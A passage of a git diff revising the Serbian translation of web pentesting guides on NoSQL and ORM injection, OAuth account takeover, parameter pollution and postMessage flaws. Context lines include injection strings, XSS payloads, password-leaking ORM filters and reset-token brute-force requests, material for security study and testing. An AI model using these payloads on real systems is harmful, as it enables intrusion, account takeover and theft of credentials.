1=1-- -` koriste za manipulaciju SQL upitima. U MongoDB, slične injekcije mogu se izvršiti koristeći unose kao što su `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -176,7 +176,7 @@ if 'OK' in r.text: print("Found one more char : %s" % (password+c)) password += c ``` -### Brute-force prijava korisničkih imena i lozinki iz POST prijave +### Brute-force prijavljivanje korisničkih imena i lozinki iz POST prijave Ovo je jednostavan skript koji možete modifikovati, ali prethodni alati takođe mogu obaviti ovaj zadatak. ```python diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index ee6f49743..1f8d56fd7 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -5,24 +5,24 @@ ## Osnovne informacije -OAuth nudi različite verzije, sa osnovnim uvidima dostupnim na [OAuth 2.0 dokumentacija](https://oauth.net/2/). Ova diskusija se prvenstveno fokusira na široko korišćeni [OAuth 2.0 tip dodeljivanja autorizacionog koda](https://oauth.net/2/grant-types/authorization-code/), pružajući **okvir autorizacije koji omogućava aplikaciji da pristupi ili izvrši radnje na korisničkom nalogu u drugoj aplikaciji** (autorizacioni server). +OAuth nudi različite verzije, sa osnovnim uvidima dostupnim na [OAuth 2.0 dokumentacija](https://oauth.net/2/). Ova diskusija se prvenstveno fokusira na široko korišćeni [OAuth 2.0 tip granta za autorizaciju](https://oauth.net/2/grant-types/authorization-code/), pružajući **okvir autorizacije koji omogućava aplikaciji da pristupi ili izvrši radnje na korisničkom nalogu u drugoj aplikaciji** (server za autorizaciju). -Zamislite hipotetičku veb stranicu _**https://example.com**_, dizajniranu da **prikaže sve vaše objave na društvenim mrežama**, uključujući privatne. Da bi to postigla, koristi se OAuth 2.0. _https://example.com_ će zatražiti vašu dozvolu da **pristupi vašim objavama na društvenim mrežama**. Kao rezultat toga, na _https://socialmedia.com_ će se pojaviti ekran za saglasnost, koji će prikazati **dozvole koje se traže i programera koji podnosi zahtev**. Nakon vaše autorizacije, _https://example.com_ dobija mogućnost da **pristupi vašim objavama u vaše ime**. +Zamislite hipotetičku veb stranicu _**https://example.com**_, dizajniranu da **prikaže sve vaše objave na društvenim mrežama**, uključujući privatne. Da bi to postigla, koristi se OAuth 2.0. _https://example.com_ će zatražiti vašu dozvolu da **pristupi vašim objavama na društvenim mrežama**. Kao rezultat toga, na _https://socialmedia.com_ će se pojaviti ekran za saglasnost, koji će prikazati **dozvole koje se traže i programera koji pravi zahtev**. Nakon vaše autorizacije, _https://example.com_ dobija mogućnost da **pristupi vašim objavama u vaše ime**. Važno je razumeti sledeće komponente unutar OAuth 2.0 okvira: - **vlasnik resursa**: Vi, kao **korisnik/entitet**, autorizujete pristup vašem resursu, kao što su objave na vašem nalogu na društvenim mrežama. - **server resursa**: **server koji upravlja autentifikovanim zahtevima** nakon što je aplikacija obezbedila `access token` u ime `vlasnika resursa`, npr. **https://socialmedia.com**. - **klijentska aplikacija**: **aplikacija koja traži autorizaciju** od `vlasnika resursa`, kao što je **https://example.com**. -- **autorizacioni server**: **server koji izdaje `access tokens`** klijentskoj aplikaciji nakon uspešne autentifikacije `vlasnika resursa` i obezbeđivanja autorizacije, npr. **https://socialmedia.com**. +- **server za autorizaciju**: **server koji izdaje `access tokens`** klijentskoj aplikaciji nakon uspešne autentifikacije `vlasnika resursa` i obezbeđivanja autorizacije, npr. **https://socialmedia.com**. - **client_id**: Javni, jedinstveni identifikator za aplikaciju. -- **client_secret:** Tajni ključ, poznat samo aplikaciji i autorizacionom serveru, koji se koristi za generisanje `access_tokens`. +- **client_secret:** Tajni ključ, poznat samo aplikaciji i serveru za autorizaciju, koji se koristi za generisanje `access_tokens`. - **response_type**: Vrednost koja specificira **tip tokena koji se traži**, kao što je `code`. - **scope**: **nivo pristupa** koji klijentska aplikacija traži od `vlasnika resursa`. - **redirect_uri**: **URL na koji se korisnik preusmerava nakon autorizacije**. Ovo obično mora biti u skladu sa unapred registrovanim URL-om za preusmeravanje. -- **state**: Parametar za **održavanje podataka tokom korisnikovog preusmeravanja ka i sa autorizacionog servera**. Njegova jedinstvenost je ključna za služenje kao **mehanizam zaštite od CSRF**. -- **grant_type**: Parametar koji označava **tip dodeljivanja i tip tokena koji treba da bude vraćen**. -- **code**: Autorizacioni kod sa `autorizacionog servera`, koji klijentska aplikacija koristi zajedno sa `client_id` i `client_secret` da bi dobila `access_token`. +- **state**: Parametar za **održavanje podataka tokom korisnikovog preusmeravanja ka i sa servera za autorizaciju**. Njegova jedinstvenost je ključna za služenje kao **mehanizam zaštite od CSRF**. +- **grant_type**: Parametar koji označava **tip granta i tip tokena koji treba da bude vraćen**. +- **code**: Autorizacioni kod sa `servera za autorizaciju`, koji klijentska aplikacija koristi zajedno sa `client_id` i `client_secret` da bi dobila `access_token`. - **access_token**: **token koji klijentska aplikacija koristi za API zahteve** u ime `vlasnika resursa`. - **refresh_token**: Omogućava aplikaciji da **dobije novi `access_token` bez ponovnog traženja od korisnika**. @@ -45,13 +45,13 @@ https://socialmedia.com/auth ``` https://example.com?code=uniqueCode123&state=randomString123 ``` -5. https://example.com koristi ovaj `code`, zajedno sa svojim `client_id` i `client_secret`, da izvrši zahtev na serverskoj strani kako bi dobio `access_token` u vaše ime, omogućavajući pristup dozvolama na koje ste pristali: +5. https://example.com koristi ovaj `code`, zajedno sa svojim `client_id` i `client_secret`, da izvrši zahtev sa servera kako bi dobio `access_token` u vaše ime, omogućavajući pristup dozvolama na koje ste pristali: ``` POST /oauth/access_token Host: socialmedia.com ...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"} ``` -6. Na kraju, proces se završava kada https://example.com koristi vaš `access_token` za API poziv na društvenim mrežama da pristupi +6. Na kraju, proces se završava kada https://example.com koristi vaš `access_token` za API poziv ka društvenim mrežama kako bi pristupio ## Ranljivosti @@ -67,30 +67,30 @@ Za one koji ciljaju OpenID server, krajnja tačka otkrivanja (`**.well-known/ope ### XSS u implementaciji preusmeravanja -Kao što je pomenuto u ovom izveštaju o nagradama za greške [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), može biti moguće da se **URL preusmeravanja odražava u odgovoru** servera nakon što se korisnik autentifikuje, što ga čini **ranjivim na XSS**. Mogući payload za testiranje: +Kao što je pomenuto u ovom izveštaju o bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), može biti moguće da se **URL preusmeravanja odražava u odgovoru** servera nakon što se korisnik autentifikuje, što ga čini **ranjivim na XSS**. Mogući payload za testiranje: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` ### CSRF - Nepravilno rukovanje parametrom stanja -U OAuth implementacijama, zloupotreba ili izostavljanje **`state` parametra** može značajno povećati rizik od napada **Cross-Site Request Forgery (CSRF)**. Ova ranjivost nastaje kada se `state` parametar ili **ne koristi, koristi kao statička vrednost, ili se nevalidira pravilno**, omogućavajući napadačima da zaobiđu CSRF zaštitu. +U OAuth implementacijama, zloupotreba ili izostavljanje **`state` parametra** može značajno povećati rizik od napada **Cross-Site Request Forgery (CSRF)**. Ova ranjivost se javlja kada se `state` parametar **ne koristi, koristi kao statička vrednost ili se nevalidira pravilno**, omogućavajući napadačima da zaobiđu CSRF zaštitu. -Napadači mogu iskoristiti ovo presretnuvši proces autorizacije kako bi povezali svoj nalog sa nalogom žrtve, što može dovesti do potencijalnih **preuzimanja naloga**. Ovo je posebno kritično u aplikacijama gde se OAuth koristi u **svrhe autentifikacije**. +Napadači mogu iskoristiti ovo presrećući proces autorizacije kako bi povezali svoj nalog sa nalogom žrtve, što može dovesti do potencijalnih **preuzimanja naloga**. Ovo je posebno kritično u aplikacijama gde se OAuth koristi u **svrhe autentifikacije**. -Primeri iz stvarnog sveta ove ranjivosti dokumentovani su u raznim **CTF izazovima** i **hacking platformama**, ističući njene praktične implikacije. Problem se takođe proširuje na integracije sa uslugama trećih strana kao što su **Slack**, **Stripe**, i **PayPal**, gde napadači mogu preusmeriti obaveštenja ili uplate na svoje naloge. +Primeri iz stvarnog sveta ove ranjivosti dokumentovani su u raznim **CTF izazovima** i **hacking platformama**, ističući njene praktične implikacije. Problem se takođe proširuje na integracije sa uslugama trećih strana kao što su **Slack**, **Stripe** i **PayPal**, gde napadači mogu preusmeriti obaveštenja ili uplate na svoje naloge. Pravilno rukovanje i validacija **`state` parametra** su ključni za zaštitu od CSRF i osiguranje OAuth toka. ### Preuzimanje naloga 1. **Bez verifikacije email-a prilikom kreiranja naloga**: Napadači mogu unapred kreirati nalog koristeći email žrtve. Ako žrtva kasnije koristi uslugu treće strane za prijavu, aplikacija može nenamerno povezati ovaj nalog treće strane sa napadačevim unapred kreiranim nalogom, što dovodi do neovlašćenog pristupa. -2. **Zloupotreba labave verifikacije email-a u OAuth-u**: Napadači mogu iskoristiti OAuth usluge koje ne verifikuju email-ove tako što se registruju sa svojom uslugom, a zatim menjaju email naloga na onaj žrtve. Ova metoda takođe nosi rizik od neovlašćenog pristupa nalogu, slično prvom scenariju, ali kroz drugačiji napad. +2. **Iskorišćavanje labave verifikacije email-a u OAuth-u**: Napadači mogu iskoristiti OAuth usluge koje ne verifikuju email adrese tako što se registruju sa svojom uslugom, a zatim menjaju email naloga na onaj žrtve. Ova metoda takođe nosi rizik od neovlašćenog pristupa nalogu, slično prvom scenariju, ali kroz drugačiji napadački vektor. ### Otkriće tajni Identifikacija i zaštita tajnih OAuth parametara je ključna. Dok se **`client_id`** može bezbedno otkriti, otkrivanje **`client_secret`** nosi značajne rizike. Ako je `client_secret` kompromitovan, napadači mogu iskoristiti identitet i poverenje aplikacije da **ukradu korisničke `access_tokens`** i privatne informacije. -Uobičajena ranjivost nastaje kada aplikacije greškom rukovode razmenom autorizacionog `code` za `access_token` na klijentskoj strani umesto na serverskoj strani. Ova greška dovodi do izlaganja `client_secret`, omogućavajući napadačima da generišu `access_tokens` pod krinkom aplikacije. Štaviše, kroz socijalno inženjerstvo, napadači bi mogli da eskaliraju privilegije dodavanjem dodatnih opsega u OAuth autorizaciju, dodatno iskorišćavajući poveren status aplikacije. +Uobičajena ranjivost se javlja kada aplikacije greškom rukovode razmenom autorizacionog `code` za `access_token` na klijentskoj strani umesto na serverskoj strani. Ova greška dovodi do izlaganja `client_secret`, omogućavajući napadačima da generišu `access_tokens` pod krinkom aplikacije. Štaviše, kroz socijalno inženjerstvo, napadači bi mogli da eskaliraju privilegije dodavanjem dodatnih opsega OAuth autorizaciji, dodatno iskorišćavajući poveren status aplikacije. ### Bruteforce klijent tajne @@ -155,7 +155,7 @@ Kao što je [**spomenuto u ovom izveštaju**](https://salt.security/blog/oh-auth To je zato što bi **napadač** mogao da kreira **aplikaciju koja podržava OAuth i prijavi se putem Facebook-a** (na primer) u svojoj aplikaciji. Zatim, kada žrtva prijavi putem Facebook-a u **napadačevoj aplikaciji**, napadač bi mogao da dobije **OAuth token korisnika dodeljen njegovoj aplikaciji i koristi ga za prijavu u žrtvinu OAuth aplikaciju koristeći žrtvin korisnički token**. > [!CAUTION] -> Stoga, ako napadač uspe da dobije pristup korisnikovoj OAuth aplikaciji, moći će da preuzme žrtvin račun u aplikacijama koje očekuju token i ne provere da li je token dodeljen njihovom app ID-u. +> Stoga, ako napadač uspe da dobije pristup korisniku svojoj OAuth aplikaciji, moći će da preuzme žrtvin račun u aplikacijama koje očekuju token i ne provere da li je token dodeljen njihovom app ID-u. ### Dva linka i kolačić @@ -178,11 +178,11 @@ Kao što je [**objašnjeno u ovom videu**](https://www.youtube.com/watch?v=n9x7_ ### OAuth ROPC tok - zaobilaženje 2 FA -Prema [**ovoj blog objavi**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), ovo je OAuth tok koji omogućava prijavu u OAuth putem **korisničkog imena** i **lozinke**. Ako se tokom ovog jednostavnog toka vrati **token** sa pristupom svim radnjama koje korisnik može da izvrši, tada je moguće zaobići 2FA koristeći taj token. +Prema [**ovom blog postu**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), ovo je OAuth tok koji omogućava prijavu u OAuth putem **korisničkog imena** i **lozinke**. Ako se tokom ovog jednostavnog toka vrati **token** sa pristupom svim radnjama koje korisnik može da izvrši, tada je moguće zaobići 2FA koristeći taj token. ### ATO na veb stranici koja preusmerava na osnovu otvorenog preusmeravanja na referent -Ova [**blog objava**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) komentariše kako je bilo moguće zloupotrebiti **otvoreno preusmeravanje** na vrednost iz **referenta** da bi se zloupotrebio OAuth za ATO. Napad je bio: +Ovaj [**blog post**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) komentariše kako je bilo moguće zloupotrebiti **otvoreno preusmeravanje** na vrednost iz **referenta** da bi se zloupotrebio OAuth za ATO. Napad je bio: 1. Žrtva pristupa napadačevoj veb stranici 2. Žrtva otvara zlonamerni link i otvarač pokreće Google OAuth tok sa `response_type=id_token,code&prompt=none` kao dodatnim parametrima koristeći kao **referent napadačevu veb stranicu**. @@ -212,7 +212,7 @@ Dinamička registracija klijenata u OAuth služi kao manje očigledan, ali kriti ## OAuth provajderi Utrke -Ako je platforma koju testirate OAuth provajder, [**pročitajte ovo da biste testirali moguće Utrke**](race-condition.md). +Ako je platforma koju testirate OAuth provajder [**pročitajte ovo da biste testirali moguće Utrke**](race-condition.md). ## Reference diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index bb5bc0403..e91298c4e 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -11,7 +11,7 @@ ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Open Redirect na XSS +### Open Redirect za XSS ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md index 8496a51ab..6c3fc15ae 100644 --- a/src/pentesting-web/orm-injection.md +++ b/src/pentesting-web/orm-injection.md @@ -24,7 +24,7 @@ Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđ Primeri: -- **Login:** U jednostavnom prijavljivanju pokušajte da iscurite lozinke korisnika registrovanih unutar njega. +- **Prijava:** U jednostavnoj prijavi pokušajte da iscurite lozinke korisnika registrovanih unutar nje. ```json { "username": "admin", @@ -43,7 +43,7 @@ Primeri: > [!CAUTION] > Moguće je pronaći lozinku svih korisnika koji su kreirali članak -- **Filtriranje više prema više relacija**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge relacije, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). +- **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). ```json { "created_by__departments__employees__user_startswith": "admi" @@ -52,7 +52,7 @@ Primeri: > [!CAUTION] > U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke). -- **Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima**: Štaviše, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **many-to-many odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**. +- **Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima**: Pored toga, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **many-to-many odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**. ```bash # By users in the same group created_by__user__groups__user__password @@ -257,7 +257,7 @@ Takođe je moguće otkriti sve korisnike zloupotrebom nekih loop back mnogu-na-m } } ``` -- **Error/Timed queries**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je: +- **Greške/Upitnici sa vremenom**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je: ```json { "OR": [ @@ -275,7 +275,7 @@ Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgov Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.** > [!TIP] -> **Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih za pretražive atribute i asocijacije.** +> **Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih atributa i asocijacija za pretraživanje.** **Vulnerabilan primer:** ```ruby @@ -284,7 +284,7 @@ def index @posts = @q.result(distinct: true) end ``` -Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force napad na reset token sa: +Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force na reset token sa: ```http GET /posts?q[user_reset_password_token_start]=0 GET /posts?q[user_reset_password_token_start]=1 diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md index d66e71321..9814607f4 100644 --- a/src/pentesting-web/parameter-pollution.md +++ b/src/pentesting-web/parameter-pollution.md @@ -32,7 +32,7 @@ Transakcija može biti pogrešno naplaćena na `accountC` umesto na `accountA`, - **Context:** Mehanizam prijave koji zahteva jednokratnu lozinku (OTP) je iskorišćen. - **Method:** Presretanjem OTP zahteva koristeći alate poput Burp Suite, napadači su duplicirali `email` parametar u HTTP zahtevu. -- **Outcome:** OTP, namenjen za inicijalnu email adresu, umesto toga je poslat na drugu email adresu navedenu u manipulisanom zahtevu. Ova greška je omogućila neovlašćen pristup zaobilaženjem predviđene sigurnosne mere. +- **Outcome:** OTP, namenjen za inicijalnu email adresu, je umesto toga poslat na drugu email adresu navedenu u manipulisanom zahtevu. Ova greška je omogućila neovlašćen pristup zaobilaženjem predviđene sigurnosne mere. Ovaj scenario ističe kritičan propust u backend-u aplikacije, koji je obradio prvi `email` parametar za generisanje OTP-a, ali je koristio poslednji za isporuku. @@ -40,8 +40,8 @@ Ovaj scenario ističe kritičan propust u backend-u aplikacije, koji je obradio - **Scenario:** Aplikacija omogućava korisnicima da ažuriraju svoj API ključ putem stranice za podešavanje profila. - **Attack Vector:** Napadač otkriva da dodavanjem dodatnog `api_key` parametra u POST zahtev može manipulisati ishodom funkcije ažuriranja API ključa. -- **Technique:** Koristeći alat poput Burp Suite, napadač kreira zahtev koji uključuje dva `api_key` parametra: jedan legitimni i jedan maliciozni. Server, obrađujući samo poslednji, ažurira API ključ na vrednost koju je naveo napadač. -- **Result:** Napadač dobija kontrolu nad funkcionalnošću API-ja žrtve, potencijalno pristupajući ili modifikujući privatne podatke neovlašćeno. +- **Technique:** Koristeći alat poput Burp Suite, napadač kreira zahtev koji uključuje dva `api_key` parametra: jedan legitimni i jedan zlonameran. Server, obrađujući samo poslednju pojavu, ažurira API ključ na vrednost koju je naveo napadač. +- **Result:** Napadač dobija kontrolu nad funkcionalnošću API-ja žrtve, potencijalno pristupajući ili modifikujući privatne podatke bez dozvole. Ovaj primer dodatno naglašava potrebu za sigurnim rukovanjem parametrima, posebno u funkcijama koje su kritične kao što je upravljanje API ključem. @@ -49,7 +49,7 @@ Ovaj primer dodatno naglašava potrebu za sigurnim rukovanjem parametrima, poseb Način na koji web tehnologije obrađuju duple HTTP parametre varira, utičući na njihovu podložnost HPP napadima: -- **Flask:** Usvaja prvu vrednost parametra koja se susreće, kao što je `a=1` u upitnom stringu `a=1&a=2`, prioritizujući inicijalni primerak nad kasnijim duplikatima. +- **Flask:** Usvaja prvu vrednost parametra koja se susreće, kao što je `a=1` u upitu `a=1&a=2`, prioritizujući inicijalnu instancu nad kasnijim duplikatima. - **PHP (na Apache HTTP Server-u):** Nasuprot tome, prioritizuje poslednju vrednost parametra, birajući `a=2` u datom primeru. Ovo ponašanje može nenamerno olakšati HPP eksploate tako što poštuje manipulisan parametar napadača umesto originalnog. ## Parameter pollution by technology @@ -78,8 +78,8 @@ There results were taken from [https://medium.com/@0xAwali/http-parameter-pollut

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg

1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping. -2. POST RequestMapping & PostMapping prepoznaju name\[]. -3. Preferiraj name ako name i name\[] postoje. +2. POST RequestMapping & PostMapping prepoznaju name[]. +3. Preferiraj name ako name i name[] postoje. 4. Konkateniraj parametre npr. first,last. 5. POST RequestMapping & PostMapping prepoznaju upitni parametar sa Content-Type. @@ -87,35 +87,35 @@ There results were taken from [https://medium.com/@0xAwali/http-parameter-pollut

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg

-1. Prepoznaje name\[]. +1. Prepoznaje name[]. 2. Konkateniraj parametre npr. first,last. ### GO 1.22.7

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

-1. NE prepoznaje name\[]. +1. NE prepoznaje name[]. 2. Preferiraj prvi parametar. ### Python 3.12.6 AND Werkzeug 3.0.4 AND Flask 3.0.3

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

-1. NE prepoznaje name\[]. +1. NE prepoznaje name[]. 2. Preferiraj prvi parametar. ### Python 3.12.6 AND Django 4.2.15

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

-1. NE prepoznaje name\[]. +1. NE prepoznaje name[]. 2. Preferiraj poslednji parametar. ### Python 3.12.6 AND Tornado 6.4.1

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

-1. NE prepoznaje name\[]. +1. NE prepoznaje name[]. 2. Preferiraj poslednji parametar. ## JSON Injection diff --git a/src/pentesting-web/phone-number-injections.md b/src/pentesting-web/phone-number-injections.md index bcd2c8c0c..cc14f89ea 100644 --- a/src/pentesting-web/phone-number-injections.md +++ b/src/pentesting-web/phone-number-injections.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Moguće je **dodati stringove na kraj broja telefona** koji se mogu koristiti za iskorišćavanje uobičajenih umetanja (XSS, SQLi, SSRF...) ili čak za zaobilaženje zaštita: +Moguće je **dodati stringove na kraj broja telefona** koji se mogu koristiti za iskorišćavanje uobičajenih injekcija (XSS, SQLi, SSRF...) ili čak za zaobilaženje zaštita:
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md index a9db38380..0f64b234c 100644 --- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md +++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md @@ -136,13 +136,13 @@ javascript:alert(1) x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` -### Polygloti +### Полиглоти ```markup x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ## [Server Side Request Forgery](../ssrf-server-side-request-forgery/) -Isti testovi koji se koriste za Open Redirect mogu se koristiti i ovde. +Isti testovi koji se koriste za Open Redirect mogu se koristiti ovde. ## [Server Side Template Injection](../ssti-server-side-template-injection/) diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 9522d9cd1..69a69459d 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -32,13 +32,13 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500'); ## loop until win.length == 1 (until the iframe is loaded) win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ``` -Napomena da **targetOrigin** može biti '\*' ili URL poput _https://company.com._\ +Napomena da **targetOrigin** može biti '\*' ili URL kao što je _https://company.com._\ U **drugom scenariju**, **poruka se može slati samo toj domeni** (čak i ako je izvor objekta prozora drugačiji).\ Ako se koristi **wildcard**, **poruke se mogu slati bilo kojoj domeni**, i biće poslate na izvor objekta Window. ### Napad na iframe & wildcard u **targetOrigin** -Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja **šalje osetljive** poruke putem **postMessage** koristeći **wildcard** (\*), možete **modifikovati** **izvor** **iframe-a** i **leak** **osetljive** poruke na domen koji kontrolišete.\ +Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja **šalje osetljive** poruke putem **postMessage** koristeći **wildcard** (\*), možete **modifikovati** **izvor** **iframe-a** i **leak** **osetljivu** poruku na domen koji kontrolišete.\ Napomena da ako stranica može biti iframed, ali je **targetOrigin** **postavljen na URL i ne na wildcard**, ovaj **trik neće raditi**. ```markup @@ -80,11 +80,11 @@ Da biste **pronašli event listenere** na trenutnoj stranici možete: ![](<../../images/image (618) (1).png>) -- **Ići na** _Elements --> Event Listeners_ u alatima za razvoj pregledača +- **Ići na** _Elements --> Event Listeners_ u alatima za razvoj preglednika ![](<../../images/image (396).png>) -- Koristite **proširenje za pregledač** kao što je [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ili [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ova proširenja za pregledač će **presresti sve poruke** i prikazati ih vama. +- Koristite **proširenje za preglednik** kao što je [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ili [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ova proširenja za preglednik će **presresti sve poruke** i prikazati ih vama. ### Zaobilaženje provere porekla @@ -102,7 +102,7 @@ Da biste **pronašli event listenere** na trenutnoj stranici možete: ``` - **`match()`** funkcija, slična `search()`, obrađuje regex. Ako je regex nepravilno strukturiran, može biti podložan zaobilaženju. -- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ona ne kreira novi bežani objekat već prepisuje svojstva postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod: +- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ne stvara novi bežani objekat već prepisuje svojstva postojećeg objekta. Ovo ponašanje se može iskoristiti. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod: - Očekivani neuspeh: @@ -126,9 +126,9 @@ U kontekstu ove ranjivosti, `File` objekat je posebno podložan eksploataciji zb ### e.origin == window.origin zaobilaženje -Kada se web stranica ugrađuje unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se radi o **sandbox atributima** i njihovim implikacijama na bezbednost i funkcionalnost. +Kada se web stranica ugrađuje unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se bave **sandbox atributima** i njihovim implikacijama na bezbednost i funkcionalnost. -Specifikovanjem **`allow-popups`** u sandbox atributu, bilo koji prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako **`allow-popups-to-escape-sandbox`** atribut takođe nije uključen, poreklo prozora je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a. +Specifikovanjem **`allow-popups`** u sandbox atributu, bilo koji prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako **`allow-popups-to-escape-sandbox`** atribut nije takođe uključen, poreklo prozora je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a. Kao rezultat, kada se prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u prozor koristeći **`postMessage`**, i pošiljalac i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** se evaluira kao tačno (`null == null`), jer i iframe i prozor dele istu vrednost porekla `null`. @@ -140,14 +140,14 @@ bypassing-sop-with-iframes-1.md ### Zaobilaženje e.source -Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za **Content Scripts iz proširenja pregledača** da provere da li je poruka poslata sa iste stranice): +Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za **Content Scripts iz proširenja preglednika** da provere da li je poruka poslata sa iste stranice): ```javascript // If it’s not, return immediately. if (received_message.source !== window) { return } ``` -Možete 